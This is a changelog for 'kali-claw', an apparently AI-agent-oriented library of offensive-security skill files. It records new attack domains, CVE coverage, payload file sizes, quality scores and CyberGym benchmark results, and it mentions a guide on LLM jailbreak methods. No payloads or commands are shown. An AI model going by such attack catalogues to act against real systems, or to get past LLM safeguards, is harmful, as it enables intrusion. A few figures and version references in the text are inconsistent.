    • 版本基线统一 (commit 8d4613f6): 修正 0.1.50 → v0.2.0.2（用户澄清 kali-claw 已切换到 v0.2.x 编号体系）

    详见 RELEASE-v0.2.0.2.md。

    v0.2.0.1 (2026-07-16) — 战略定位：SKILL 库维护者

    Strategic Pivot

    确立 kali-claw 作为专注 SKILL 库维护者的战略定位，将智能体化工作交给新项目 xAgent。

    关键决策

    • kali-claw：已有 SKILL 的升级维护 + 持续增加新 SKILL + 持续更新使用指南
    • xAgent：将 SKILLs 转变为各种单一工种的智能体 + 探索多智能体协作场景

    详见 RELEASE-v0.2.0.1.md。

    v0.1.40 - v0.1.47.1 (2026-06-28 ~ 2026-07-10) — Wave 9-12 + CyberGym 评估

    Wave 9-12 (111→127 SKILLs)

    • Wave 9-10 (+9 domains): red-team-infrastructure, threat-intel-platform-attack, malware-analysis-advanced, data-exfiltration-attack, reverse-engineering-advanced 等
    • Wave 11 (+5 domains): data-exfil, red-team-infra, threat-intel, malware-RE, advanced-RE
    • Wave 12 (+7 domains): patch-to-poc-pipeline 等（CyberGym 验证 16/16 = 100%）

    v0.1.47 重要里程碑

    • +3 exploitation SKILLs targeting 0% bug classes:
      • command-injection-advanced (blind injection, filter bypass, LDAP/NoSQL, SSTI)
      • concurrency-exploitation (race window, signal handler race, ThreadSanitizer, TOCTOU)
      • protocol-state-exploitation (HTTP/2 rapid reset, Scapy, SSH, stateful fuzzing)

    v0.1.47.1 CyberGym 完整评估

    • 635/1508 instances (42.1%) 完成
    • 1 PASS (0.16% score)
    • 基础设施改进：closed-book isolation, auto permission mode, mirror fallback
    • Binary mode 切换：352+ instances/hour (88-100x faster)

    详见 RELEASE-v0.1.47.1-analysis.md 与 docs/legacy-reports/RELEASE-v0.1.47.1-final-report.md。

    v0.1.39 (2026-06-27) — GitHub-Trending Expansion Wave 8: +4 Skill Domains (107→111)

    Driver: Wave 8 Returns to Horizontal Expansion — Modern Enterprise Stack

    After v0.1.38's E plan (Distinguished sprint + bottom lift, +4 Distinguished), v0.1.38 resumes the GitHub-trending-driven expansion methodology — wave 8. Focus: the modern enterprise security stack (CI/CD pipelines + PAM vendors + CSPM/CASB + SASE/SSE).

    +4 New Skill Domains

    SkillCategoryBaselineTier
    pam-privilege-attackprivileged-access92.0Distinguished (rare baseline Distinguished)
    ci-cd-supply-chain-attacksupply-chain89.2Excellent (near-Distinguished)
    cspm-casb-attackcloud-posture88.5Excellent
    sase-sse-attacksase-sse88.2Excellent

    Cohort average: 89.5 — highest of all 8 expansion waves (beating Wave 7's 88.7). pam-privilege-attack scoring Distinguished on baseline is exceptionally rare (most new skills need a 2nd guide to reach 92+).

    Per-Skill Coverage

    • pam-privilege-attack (CyberArk PVWA/PSM CVE-2025-32564, BeyondTrust PRA CVE-2022-2451, Delinea, One Identity Safeguard, ManageEngine PMP CVE-2022-28226, WALLIX, Devolutions, Xton — 8 vendors total) — 4 files (SKILL.md 460, payloads.md 2,463 / 168 code blocks, test-cases.md 445 / 18 TCs, playbook 702)
    • ci-cd-supply-chain-attack (Jenkins args4j CVE-2024-23897, GitLab CI, GitHub Actions pull_request_target, Argo CD CVE-2022-24348, Flux CD, CircleCI, Buildkite, Drone, dependency confusion, xz-utils CVE-2024-3094, SolarWinds SUNBURST, 3CX, Codecov) — 4 files (SKILL.md 557, payloads.md 1,722 / 89 code blocks, test-cases.md 234 / 12 TCs, playbook 750)
    • cspm-casb-attack (Wiz graph query, Palo Alto Prisma Cloud RQL, Microsoft Defender for Cloud, AWS Security Hub, Lacework, Orca, Sysdig, Netskope, Skyhigh, OPA/Kyverno policy bypass) — 4 files (SKILL.md 421, payloads.md 1,917 / 121 code blocks, test-cases.md 259 / 14 TCs, playbook 1,065)
    • sase-sse-attack (Zscaler ZIA/ZPA/ZDX, Netskope Security Cloud, Palo Alto Prisma Access, Cisco Umbrella, CATO Networks, Cloudflare One/WARP, Microsoft GSA, TLS inspection bypass, anonymizer evasion) — 4 files (SKILL.md 680, payloads.md 2,424 / 94 code blocks, test-cases.md 279 / 12 TCs, playbook 925)

    Quality Snapshot

    Metricv0.1.38v0.1.39Change
    Total skill domains107111+4
    Distinguished (92+)3233+1 (pam-privilege-attack baseline Distinguished — rare)
    Excellent (80-91.9)7578+3 (3 Wave 8 skills)
    Strong (60-80)00unchanged
    Average88.7588.78+0.03
    Min85.185.1unchanged
    Max94.694.6unchanged
    Excellent+ coverage107/107 (100%)111/111 (100%)maintained

    Index Sync

    FileUpdate
    validation/update-skill-standard.pyRegistered 4 new skills in ATTACK_SKILLS, DOMAIN_MAP, MITRE_MAP; 4 new categories (supply-chain, privileged-access, cloud-posture, sase-sse)
    IDENTITY.md+4 skill tag rows
    TOOLS.md+4 category rows; 107→111 skill domains
    README.md6 locations: 107→111, version 0.1.38→0.1.39, +v0.1.39 changelog row, refreshed quality snapshot, extended feature bullet description
    VERSION0.1.38→0.1.39

    Workload

    • New files: 16 (4×SKILL.md + 4×payloads.md + 4×test-cases.md + 4×guides)
    • New lines: ~15,260
    • New test cases: 56 (12 + 18 + 14 + 12)
    • New tool references: ~60
    • 1 new Distinguished on baseline (pam-privilege-attack 92.0)

    v0.1.38 (2026-06-27) — E Plan: Distinguished Sprint + Bottom Lift (+4 Distinguished, 28→32)

    Driver: E Plan Executed Again (A + C Combo)

    v0.1.38 is the second E plan execution (first was v0.1.36). Combined Distinguished sprint (push 6 A-track skills at 89-91.9 → 92+) with bottom lift (raise 4 C-track skills below 85 to 87+). Result: +4 Distinguished, 4 of 4 bottom skills cleared target.

    10 Skills Lifted (4 Distinguished + 4 Excellent+ overshoot + 2 near-miss)

    SkillBeforeAfterDeltaOutcome
    A-track (Distinguished sprint)
    email-security-deep91.392.0+0.7Excellent→Distinguished
    ad-cs-abuse91.093.0+2.0Excellent→Distinguished
    ai-security89.392.3+3.0Excellent→Distinguished
    crypto-attacks89.092.2+3.2Excellent→Distinguished
    storage-san-attack89.591.5+2.0Excellent (0.5 below Distinguished)
    kubernetes-attack89.590.2+0.7Excellent (1.8 below Distinguished)
    C-track (Bottom lift)
    cloud-identity-attack83.889.0+5.2+5.2 overshoot
    mobile-app-instrumentation84.587.3+2.8Hit target
    dns-attacks84.691.1+6.5+4.1 overshoot
    blockchain-web384.690.2+5.6+3.2 overshoot

    Average lift: +3.25 points across 10 skills.

    Per-Skill Strategy

    A-track (4 Distinguished achieved + 2 near-miss):

    • email-security-deep (91.3→92.0): +1 guide (mail infrastructure evasion / MTA chain forensics / AiTM refinements) — 1,561 lines new guide
    • ad-cs-abuse (91.0→93.0): +1 guide (AD CS detection & hardening with 10 detection rules in KQL/SPL/Sigma) — 1,032 lines new guide
    • ai-security (89.3→92.3): +1 guide (LLM jailbreak research: GCG/AutoDAN/PAIR/TAP/Crescendo) + 4 new SKILL.md sections — 1,671 lines new guide, sm 93→99
    • crypto-attacks (89.0→92.2): +1 guide (PQC migration + side-channel analysis: ML-KEM/ML-DSA, KyberSlash, ChipWhisperer labs) + 3 new SKILL.md sections — 1,118 lines new guide, sm 91→96
    • storage-san-attack (89.5→91.5): +1 guide (NetApp/Dell EMC/Pure/QNAP/Synology/TrueNAS vendor deep-dive, 13 CVEs) — 1,299 lines new guide
    • kubernetes-attack (89.5→90.2): +1 guide (runc/containerd CVEs + kernel escape chains, 21 CVEs with patch commits) — 1,271 lines new guide

    C-track (4/4 cleared target, 3 overshoot):

    • cloud-identity-attack (83.8→89.0): +2 guides (Entra ID deep-dive 1,114 lines + Okta/Auth0 deep-dive 1,071 lines) — gd 58→78.7
    • mobile-app-instrumentation (84.5→87.3): +1 guide (iOS/Android deep instrumentation + SSL pinning catalog) + 4 SKILL.md subsections — 925 lines new guide, sm 83→88
    • dns-attacks (84.6→91.1): +1 guide (DNS rebinding/tunneling/modern variants) + 6 new payloads sections (+1,290 lines, +86 code blocks) — 846 lines new guide, pl 80→97.7
    • blockchain-web3 (84.6→90.2): +1 guide (DeFi reentrancy taxonomy + composability attacks) + 7 new payloads sections (+1,423 lines, +63 code blocks) — 1,183 lines new guide, pl 82→98.5

    Quality Snapshot

    Metricv0.1.37v0.1.38Change
    Total skill domains107107unchanged
    Distinguished (92+)2832+4 (email-security-deep, ad-cs-abuse, ai-security, crypto-attacks)
    Excellent (80-91.9)7975-4 (all promoted to Distinguished)
    Strong (60-80)00unchanged
    Average88.4688.75+0.29
    Min83.885.1+1.3 (no skills below 85 anymore)
    Max94.694.6unchanged
    Excellent+ coverage107/107 (100%)107/107 (100%)maintained

    Workload

    • New files: 11 new guide files + 0 new skills
    • New lines: ~13,500
    • SKILL.md expansions: 3 (ai-security, crypto-attacks, mobile-app-instrumentation)
    • Payloads expansions: 2 (dns-attacks +1,290 lines, blockchain-web3 +1,423 lines)
    • 107 skills, 494 total guides
    • HEARTBEAT_OK

    Index Sync

    FileUpdate
    README.mdQuality snapshot refresh (28→32 Distinguished, avg 88.46→88.75, min 83.8→85.1), +v0.1.38 changelog row, version 0.1.37→0.1.38
    CHANGELOG.md+v0.1.38 entry (this one)
    VERSION0.1.37→0.1.38

    v0.1.37 (2026-06-27) — GitHub-Trending Expansion Wave 7: +4 Skill Domains (103→107)

    Driver: Wave 7 Returns to Horizontal Expansion

    After v0.1.36's focused E plan (Distinguished sprint + bottom lift, no new skills), v0.1.37 resumes the GitHub-trending-driven expansion methodology — wave 7. Where wave 6 (v0.1.35) pursued "deep-vertical" strategy (specializing within existing stacks), wave 7 returns to "horizontal expansion" by entering 4 fresh categories that broaden coverage rather than deepening existing verticals.

    +4 New Skill Domains

    SkillCategoryBaselineTier
    ad-cs-abuseenterprise-cloud (AD CS)91.0Excellent (near-Distinguished)
    storage-san-attackstorage89.5Excellent
    hypervisor-introspectionvirtualization87.4Excellent
    satellite-leo-securitysatellite86.8Excellent

    Cohort average: 88.7 — highest of all 7 expansion waves (vs wave 6's 88.4, wave 5's 85.4, wave 4's 82.8).

    Per-Skill Coverage

    • ad-cs-abuse (ESC1-ESC15, PetitPotam CVE-2021-36942, Certifried CVE-2022-26923, Shadow Credentials, Golden Certificate, PKINIT, ADCSPwn, Certipy) — 4 files (SKILL.md 379 lines, payloads.md 2,227 lines/187 code blocks, test-cases.md 376 lines/15 TCs, playbook 665 lines)
    • storage-san-attack (iSCSI/FC/NFSv4/SMB3/S3 APIs, NetApp ONTAP, Dell EMC Isilon, Pure Storage, QNAP/Synology, TrueNAS, DeadBolt/eCh0raix ransomware) — 4 files (SKILL.md 362 lines, payloads.md 2,230 lines/117 code blocks, test-cases.md 336 lines/12 TCs, playbook 1,114 lines)
    • hypervisor-introspection (VMware ESXi/Hyper-V/KVM/Xen/Proxmox, LibVMI/DRAKVUF, VENOM CVE-2015-3456, ESXiArgs, hardware-assisted VT-x/EPT/AMD-V) — 4 files (SKILL.md 376 lines, payloads.md 2,223 lines/74 code blocks, test-cases.md 267 lines/12 TCs, playbook 898 lines)
    • satellite-leo-security (Starlink/Kuiper/OneWeb, Iridium/Inmarsat/Viasat KA-SAT AcidRain wiper Feb 2022, DVB-S/S2, VSAT iDirect/Hughes, GNSS receiver attacks) — 4 files (SKILL.md 292 lines, payloads.md 2,014 lines/238 code fences, test-cases.md 677 lines/12 TCs, playbook 712 lines)

    Quality Snapshot

    Metricv0.1.36v0.1.37Change
    Total skill domains103107+4
    Distinguished (92+)2828unchanged (wave 7 is expansion, not lift)
    Excellent (80-91.9)7579+4 (all from new cohort)
    Strong (60-80)00unchanged
    Average88.4588.46+0.01
    Min83.883.8unchanged
    Max94.694.6unchanged
    Excellent+ coverage103/103 (100%)107/107 (100%)maintained

    → 100% Excellent+ milestone maintained through wave 7 expansion.

    Index Sync

    FileUpdate
    validation/update-skill-standard.pyRegistered 4 new skills in ATTACK_SKILLS, DOMAIN_MAP, MITRE_MAP; 4 new categories (storage, virtualization, satellite, enterprise-cloud AD CS)
    IDENTITY.md+4 skill tag rows
    TOOLS.md+4 category rows; 103→107 skill domains
    README.md6 locations: 103→107, version 0.1.36→0.1.37, +v0.1.37 changelog row, refreshed quality snapshot, extended feature bullet description
    VERSION0.1.36→0.1.37

    Workload

    • New files: 16 (4×SKILL.md + 4×payloads.md + 4×test-cases.md + 4×guides)
    • New lines: ~13,800
    • New test cases: 51 (15+12+12+12)
    • New tool references: ~52

    v0.1.36 (2026-06-25) — E Plan: Distinguished Sprint + Bottom Lift (+9 Distinguished, 19→28)

    Driver: E Plan Executed (A + C Combo)

    v0.1.36 implements the E plan from v0.1.35's release notes: Distinguished sprint (push 89-91 tier to 92+) combined with bottom lift (lift bottom 3 skills to 85+). Result exceeded both targets — 9 skills lifted, 8 reached Distinguished, 1 (email-security-deep) fell 0.7 short of Distinguished but still cleared Excellent+.

    9 Skills Lifted (8 Distinguished + 1 Excellent+)

    SkillBeforeAfterDeltaTier
    secret-management-attack90.494.6+4.2Excellent→Distinguished
    deep-research90.693.5+2.9Excellent→Distinguished
    5g-telecom-attack82.592.7+10.2Excellent→Distinguished
    embedded-rtos-security88.892.7+3.9Excellent→Distinguished
    agentic-pentest90.092.6+2.6Excellent→Distinguished
    quantum-crypto-attack90.892.5+1.7Excellent→Distinguished
    macos-security82.792.2+9.5Excellent→Distinguished
    username-profiling91.692.2+0.6Excellent→Distinguished
    hf-vhf-radio-attack89.392.1+2.8Excellent→Distinguished
    email-security-deep81.091.3+10.3Excellent→Excellent+ (0.7 below Distinguished)

    Average lift: +4.87 points across 9 skills.

    Per-Skill Strategy Summary

    A. Distinguished Sprint (8 skills → 92+)

    • username-profiling (91.6→92.2): +1 guide file (Cross-platform identity graph correlation, Neo4j fusion) — 1411 lines
    • quantum-crypto-attack (90.8→92.5): +1 guide (PQC implementation hardening & side-channel lab) + 25 payload code blocks — 1020 lines new guide
    • deep-research (90.6→93.5): +1 guide (Multi-source synthesis) + 7 new SKILL.md sections — 685 lines new guide, skill_md 93→100
    • secret-management-attack (90.4→94.6): +1 guide (CI/CD secret sprawl + SAST rule authoring) + 6 new TCs + Verification Checklist — 1142 lines new guide, tc_md 88→100
    • agentic-pentest (90.0→92.6): +1 guide (Multi-agent coordination + HITL design + case studies) + 6 new SKILL.md sections — 702 lines new guide, skill_md 87→100
    • hf-vhf-radio-attack (89.3→92.1): +1 guide (ADS-B/AIS spoofing lab) + 2 playbook sections + 19 payload code blocks — 1723 lines new guide
    • embedded-rtos-security (88.8→92.7): +2 guides (VxWorks WDB lab, FreeRTOS+TCP CVE research) + 2 playbook sections + 8 SKILL.md sections — 1161 + 972 lines new guides, skill_md 92→100

    C. Bottom Lift (3 skills → 85+; 2 reached Distinguished as bonus)

    • email-security-deep (81.0→91.3): +1 guide (AiTM phishing campaign emulation lab) + 6 payload sections + 3 SKILL.md sections — 819 lines new guide, +940 payload lines, skill_md 85→100
    • 5g-telecom-attack (82.5→92.7): +1 guide (5G Core lab reproduction with srsRAN/Open5GS/UERANSIM) + 6 new TCs + 13 SKILL.md sections — 1165 lines new guide, skill_md 84→100, tc_md 80→100
    • macos-security (82.7→92.2): +1 guide (Apple Silicon + TCC bypass + red team playbook) + 6 new TCs + 8 SKILL.md sections — 1416 lines new guide, skill_md 89→100, tc_md 80→100

    Quality Snapshot

    Metricv0.1.35v0.1.36Change
    Total skill domains103103unchanged (pure quality release)
    Distinguished (92+)1928+9 (exceeds 25+ target)
    Excellent (80-91.9)8475-9 (lifted to Distinguished)
    Strong (60-80)00unchanged
    Average score87.9888.45+0.47
    Minimum score81.083.8 (cloud-identity-attack)+2.8
    Maximum score93.894.6+0.8 (secret-management-attack)
    Excellent or above103/103 (100%)103/103 (100%)maintained
    Skills 85+99/103 (96.1%)99/103 (96.1%)maintained (4 still in 83.8-84.6 range)

    Distinguished Tier (28 skills)

    Sorted by score:

    1. secret-management-attack 94.6
    2. social-intelligence 93.8
    3. sdr-rf-attack 93.6 / article-writing 93.6 (tied)
    4. deep-research 93.5
    5. payload-generation 93.1
    6. scada-ics-security 93.0 / vulnerability-assessment 93.0 (tied)
    7. container-security 92.8 / security-misconfiguration 92.8 (tied)
    8. 5g-telecom-attack 92.7 / embedded-rtos-security 92.7 (tied)
    9. agentic-pentest 92.6
    10. quantum-crypto-attack 92.5
    11. macos-security 92.2 / username-profiling 92.2 (tied)
    12. hf-vhf-radio-attack 92.1
    13. autonomous-loops 92.6 / verification-loop 92.6 (tied)
    14. osint 92.5 / vpn-attack 92.5 (tied)
    15. council 92.3 / network-tunneling-proxy 92.3 (tied)
    16. web-deserialization 92.2
    17. cloud-security 92.1
    18. security-bounty-hunter 92.0 / network-pentest 92.0 / web-xss 92.0 (tied)

    Methodology Validation: E Plan Efficacy

    The E plan (A+C combo) was the most impactful single-version quality lift in kali-claw history:

    • +9 Distinguished in one release (previous best: +3 in v0.1.26)
    • Average lift of +4.87 across 9 skills
    • 2 "bottom lift" skills (5g-telecom-attack, macos-security) accidentally reached Distinguished — the lifts overshot due to aggressive multi-lever strategy
    • email-security-deep +10.3 is the largest single-skill lift since v0.1.34's automotive (+9.7)

    Workload

    ItemCount
    Skills lifted9
    New guide files11 (one or two per skill)
    SKILL.md expansions7 (deep-research, secret-management-attack, agentic-pentest, embedded-rtos-security, email-security-deep, 5g-telecom-attack, macos-security)
    test-cases.md expansions3 (secret-management-attack +6 TCs, 5g-telecom-attack +6 TCs, macos-security +6 TCs)
    payloads.md expansions4 (quantum-crypto-attack, hf-vhf-radio-attack, email-security-deep, plus minor for others)
    playbook expansions2 (hf-vhf-radio-attack +375 lines, embedded-rtos-security +229 lines)
    New code lines~7,000+ (new guides) + ~2,500 (payloads/playbook/SKILL.md expansions) ≈ ~9,500 total
    New test cases18 (6+6+6 across three skills)
    Heartbeat health checkHEARTBEAT_OK

    Index Files Sync

    FileChange
    README.mdQuality snapshot refreshed (19→28 Distinguished, avg 87.98→88.45); +v0.1.36 changelog row; version 0.1.35→0.1.36
    CHANGELOG.md+v0.1.36 entry
    VERSION0.1.35 → 0.1.36

    Next Steps (v0.1.37 Candidates)

    • A: Push email-security-deep (91.3) over 92.0 — needs only +0.7 (likely a 2nd guide file or playbook expansion)
    • B: Lift remaining 4 sub-85 skills to 85+ (cloud-identity-attack 83.8, mobile-app-instrumentation 84.5, blockchain-web3 84.6, dns-attacks 84.6) → all skills 85+
    • C: v0.1.35 cohort deepening — add 2nd guide to ics-fieldbus-attack (88.1) and blockchain-l2-attack (87.2) to push toward Distinguished
    • D: Wave 7 expansion (storage/SAN, hypervisor introspection, PQC migration deep, satellite/LEO, ADCS abuse, OAuth2/OIDC deep)
    • E: Distinguished 30+ sprint — push the 91.x cluster (email-security-deep 91.3) plus identify 92 borderline candidates

    v0.1.35 (2026-06-24) — GitHub-Trending Expansion Wave 6: +4 Deep-Dive Skill Domains (99→103)

    Driver: Sixth Wave — Deepening Existing Verticals

    v0.1.35 is the SIXTH release using the GitHub-trending-driven expansion methodology. Unlike waves 4-5 (v0.1.33-v0.1.34) which entered new verticals (telecom/automotive/macos/aerial/mainframe), wave 6 DEEPENS existing coverage by adding specialized sub-domains adjacent to already-mastered skills:

    New SkillAdjacent Existing SkillDifferentiator
    ics-fieldbus-attackscada-ics-security (Modbus/S7comm)15+ fieldbus protocols (Profibus/DNP3/IEC 61850/IEC 60870-5/EtherCAT/PROFINET)
    hf-vhf-radio-attacksdr-rf-attack (Sub-GHz ISM)Licensed HF/VHF/UHF bands (ADS-B/AIS/ACARS/POCSAG/APRS)
    blockchain-l2-attackblockchain-web3 (L1 EVM)L2 (Lightning/Optimism/Arbitrum/zkSync/cross-chain bridges)
    embedded-rtos-securityfirmware-reverse (generic)RTOS-specific (VxWorks/QNX/FreeRTOS/ThreadX/Zephyr)

    New Skill Domains (+4)

    • ics-fieldbus-attack — Industrial fieldbus protocol deep dive (NEW: fieldbus category)

      • Tools: Wireshark (fieldbus dissectors), Scapy (IEC 61850/104 layers), plcscan, Redpoint Digital, OpenDNP3, lib60870, IEC104Attack, ProfiShark, Boofuzz, Conpot, Nmap NSE (dnp3-info/enip-info/BACnet), Ettercap/Bettercap, Claroty/Nozomi (reference)
      • Coverage: Profibus DP/PA, PROFINET RT/IRT, EtherCAT, EtherNet/IP (CIP), DNP3, IEC 61850 (GOOSE/SV/MMS), IEC 60870-5-101 (serial) and -104 (TCP), Foundation Fieldbus, HART/WirelessHART, CC-Link IE TSN, BACnet deep
      • Real-world incidents: Ukraine 2015 BlackEnergy (IEC 104), Industroyer/CrashOverride (2016), Triton/Trisis (2017 SIS), Florida water treatment (2021)
      • Scaffolding: SKILL.md (508), payloads.md (2,853, 92 code blocks), test-cases.md (253, 12 TC-FB-001..012), guides/ics-fieldbus-attack-playbook.md (1,054)
      • Domain: fieldbus (NEW) | MITRE: T0817-Program Logic Controller Software | Tool count: 13
      • Baseline score: 88.1 (Excellent)

    • hf-vhf-radio-attack — Licensed HF/VHF/UHF radio attack (NEW: lowfreq-radio category)

      • Tools: HackRF One, BladeRF 2.0 micro, RTL-SDR V3, PlutoSDR, AirSpy R2/HF+ Discovery, GNU Radio, GQRX/SDR#/SDRangel/CubicSDR, dump1090-mutability/readsb, dump978, AIS-catcher/rtl-ais, multimon-ng, ACARSDeco/dumpvdl2/dumphfdl, URH
      • Coverage: ADS-B (1090 MHz), AIS (161.975/162.025 MHz), ACARS (131.550 MHz), VDL Mode 2, HFDL, POCSAG/FLEX/APOC pagers, APRS, NDB (190-535 kHz, 1750 kHz), Weather Fax, DSC, ATC voice (118-137 MHz AM), maritime VHF (Ch 16), MLAT/TIS-B/UAT (978 MHz)
      • Differentiator: Licensed services (aviation/maritime/pager/amateur) vs Sub-GHz ISM (sdr-rf-attack) and cellular (5g-telecom-attack)
      • Real-world research: Povolny ADS-B spoofing (2012), Costin "Ghost in the Air" (2012), Trend Micro maritime AIS, DEF CON 18 Barisani pager, DEF CON 22 Phaedrus ACARS
      • Scaffolding: SKILL.md (508), payloads.md (2,745, 70+ code blocks), test-cases.md (12 TC-LF-001..012), guides/hf-vhf-radio-attack-playbook.md (628)
      • Domain: lowfreq-radio (NEW) | MITRE: T1557-Adversary-in-the-Middle | Tool count: 13
      • Baseline score: 89.3 (Excellent, highest of v0.1.35 cohort)

    • blockchain-l2-attack — Layer-2 blockchain attack (NEW: blockchain-l2 category)

      • Tools: Foundry (forge/cast/anvil/chisel), Hardhat, Brownie/Ape, Slither, Mythril, Manticore, Echidna, Etheno, web3.py/ethers.js, Tenderly, Forta, OpenZeppelin Defender, Revoke.cash/Etherscan tools
      • Coverage: Lightning Network (BOLT, HTLC, Wormhole RTL CVE-2020-4484), Optimistic Rollups (Optimism OP Stack, Arbitrum Nitro, Boba, Base), ZK Rollups (zkSync Era, StarkNet, Polygon zkEVM, Scroll, Linea), Polygon PoS, Gnosis Chain, cross-chain bridges (Wormhole $326M/Nomad $190M/Ronin $625M/Poly Network $611M/Multichain $1.5B/Harmony Horizon $100M), ERC-4337 account abstraction, DA layers (Celestia/EigenDA/Avail)
      • Differentiator: L2 rollups, bridges, state channels vs L1 smart contracts (blockchain-web3)
      • Scaffolding: SKILL.md (684), payloads.md (2,380, 80 code blocks), test-cases.md (274, 12 TC-L2-001..012), guides/blockchain-l2-attack-playbook.md (619)
      • Domain: blockchain-l2 (NEW) | MITRE: TA0006-Credential Access | Tool count: 13
      • Baseline score: 87.2 (Excellent)

    • embedded-rtos-security — RTOS penetration testing (NEW: rtos category)

      • Tools: IDA Pro, Ghidra, Binary Ninja, radare2/r2macho, OpenOCD, J-Link/ST-Link/Black Magic Probe/JTAGulator/Shikra, binwalk/firmwalker/FACT, QEMU system/Renode, angr, ChipWhisperer (NewAE), GreatFET/HydraBus/Bus Pirate, flashrom, strace/ltrace/perf
      • Coverage: VxWorks WDB RPC debug agent + Urgent/11 (CVE-2019-12256/12258/12260/12264), QNX Neutrino (microkernel, Qnet, Momentics, qconn), FreeRTOS + FreeRTOS+TCP (CVE-2018-16525/16528/16529/16603), ThreadX/Azure RTOS NetX DUO, Zephyr (Kconfig, BT host CVEs), Mbed OS (uVisor, Pelion), TI-RTOS (NDK, ROV), MicroC/OS-II/III, NuttX, RIOT, Contiki-NG
      • Differentiator: RTOS internals (scheduler/MMU/MPU/IPC) vs generic firmware extraction (firmware-reverse) and IoT app-layer (iot-pentest)
      • Scaffolding: SKILL.md (344), payloads.md (2,891, 174 code blocks), test-cases.md (256, 12 TC-RT-001..012), guides/embedded-rtos-security-playbook.md (593)
      • Domain: rtos (NEW) | MITRE: T1548-Abuse Elevation Control Mechanism | Tool count: 13
      • Baseline score: 88.8 (Excellent, 2nd-highest of cohort)

    Quality Snapshot

    Metricv0.1.34v0.1.35Change
    Total skill domains99103+4
    Distinguished (92+)1919unchanged
    Excellent (80-91.9)8084+4 (all new cohort)
    Strong (60-80)00unchanged
    Average score87.9687.98+0.02
    Excellent or above99/99 (100%)103/103 (100%)unchanged
    Cohort average85.4 (v0.1.34)88.4 (v0.1.35)+3.0 (cohort quality lift)

    Strategic Value: Deep-Vertical Completion

    • ICS stack: Modbus/S7comm (scada-ics-security) + 15+ fieldbus protocols (NEW) — comprehensive OT coverage
    • Wireless stack: Sub-GHz ISM (sdr-rf-attack) + Licensed HF/VHF/UHF (NEW) + Cellular (5g-telecom-attack) — full RF spectrum
    • Blockchain stack: L1 EVM (blockchain-web3) + L2 rollups/bridges (NEW) — multi-layer DeFi research
    • Embedded stack: Generic firmware (firmware-reverse) + RTOS internals (NEW) + IoT app (iot-pentest) — full embedded surface

    Index Files Sync

    FileChange
    validation/update-skill-standard.py+4 ATTACK_SKILLS entries; +4 DOMAIN_MAP entries (fieldbus/lowfreq-radio/blockchain-l2/rtos); +4 MITRE_MAP entries
    IDENTITY.md+4 skill tag rows
    TOOLS.md+4 category index rows; 99→103 skill domains
    README.md6 locations updated (99→103, version 0.1.34→0.1.35, +v0.1.35 changelog row, refreshed quality snapshot)
    CHANGELOG.md+v0.1.35 entry
    VERSION0.1.34 → 0.1.35

    Workload

    ItemCount
    New files16 (4×SKILL.md + 4×payloads.md + 4×test-cases.md + 4×guides)
    New code lines~13,000
    New test cases48 (12×4)
    First-time scored skills4
    New categories entered4 (fieldbus, lowfreq-radio, blockchain-l2, rtos)
    Heartbeat health checkHEARTBEAT_OK

    Methodology Validation: GitHub-Trending Wave 6

    WaveVersionNew SkillsStrategy
    1v0.1.294First methodology use (ai-red-team/defense/cloud-native/appsec)
    2v0.1.304Same-day double (ai-emerging/iot/defense/ai-meta)
    3v0.1.314Same-day triple (enterprise-cloud/physical/cryptography/appsec)
    4v0.1.334New verticals (telecom/automotive/mobile-deep/cloud-native)
    5v0.1.344New verticals (macos/aerial/game-security/mainframe) + automotive lift
    6v0.1.354Deep-vertical (fieldbus/lowfreq-radio/blockchain-l2/rtos) — deepens existing stacks

    → Wave 6 strategy pivot: First wave to focus on DEEPENING rather than expanding. Result: cohort avg 88.4 (highest in 6 waves), validating that adjacent-domain expansion produces higher-quality baselines than new-vertical expansion.

    Next Steps (v0.1.36 Candidates)

    • A: Distinguished sprint — push 89-91 tier skills to 92+ (username-profiling 91.6, quantum-crypto-attack 90.8, deep-research 90.6, secret-management-attack 90.4, agentic-pentest 90.0, hf-vhf-radio-attack 89.3, embedded-rtos-security 88.8)
    • B: v0.1.35 cohort deepening — add 2nd guide file to 4 new skills
    • C: Bottom lift — lift email-security-deep (81.0), 5g-telecom-attack (82.5), macos-security (82.7) toward 88+
    • D: Wave 7 — additional adjacent domains (storage/SAN attack, hypervisor introspection, PQC migration deep, satellite/LEO, AD CS abuse, OAuth2/OIDC deep)
    • E: A + C combo (dual-pronged quality lift)

    v0.1.34 (2026-06-21) — GitHub-Trending Expansion Wave 5 + Automotive Lift: 95→99, 100% Excellent+ Restored

    Driver: Fifth Wave + Strategic Lift

    v0.1.34 is the FIFTH release using the GitHub-trending-driven expansion methodology. After v0.1.33's expansion brought the total to 95 (with 1 Strong remaining), this version pairs wave 5 expansion (+4 new domains) with the targeted automotive-vehicle-security lift (79.0→88.7) to fully restore 100% Excellent+ coverage (99/99 skills).

    Strategic Lift: automotive-vehicle-security (79.0→88.7, Strong→Excellent)

    • Bottleneck diagnosis (v0.1.33): payload_code 24 (only 21 code blocks), field_completeness 0.86, guide 68 (single playbook)
    • Fix applied:
      • payloads.md expanded 1,344→2,608 lines (+1,264 lines, +30 code blocks; 21→51 total)
      • 6 new payload sections: CAN Injection Kill Chain, UDS Negative Response Codes, OBD-II PIDs, ISO 15118/EVSE, ISOTP/Fuzzer, ECU Firmware Extraction
      • playbook expanded 552→1,052 lines (+500 lines, +2 sections: CAN Bus Reverse Engineering Methodology, Key Fob Attack Workflow)
      • NEW second guide: automotive-ecu-firmware-and-uds-deep-dive.md (906 lines) covering JTAG/UART extraction, UDS service matrix, ECU bootloader dumping, firmware diff analysis
      • test-cases.md expanded 233→256 lines (added end-to-end Verification Checklist)
      • SKILL.md guide_count=1→2, version 1.0→1.0.1
    • Score delta: 79.0→88.7 (+9.7); payload_code 24→35, field 0.86→1.00, guide 68→76
    • Result: Strong→Excellent; final Strong-tier skill eliminated

    New Skill Domains (+4)

    • macos-security — macOS penetration testing (NEW: macos category)

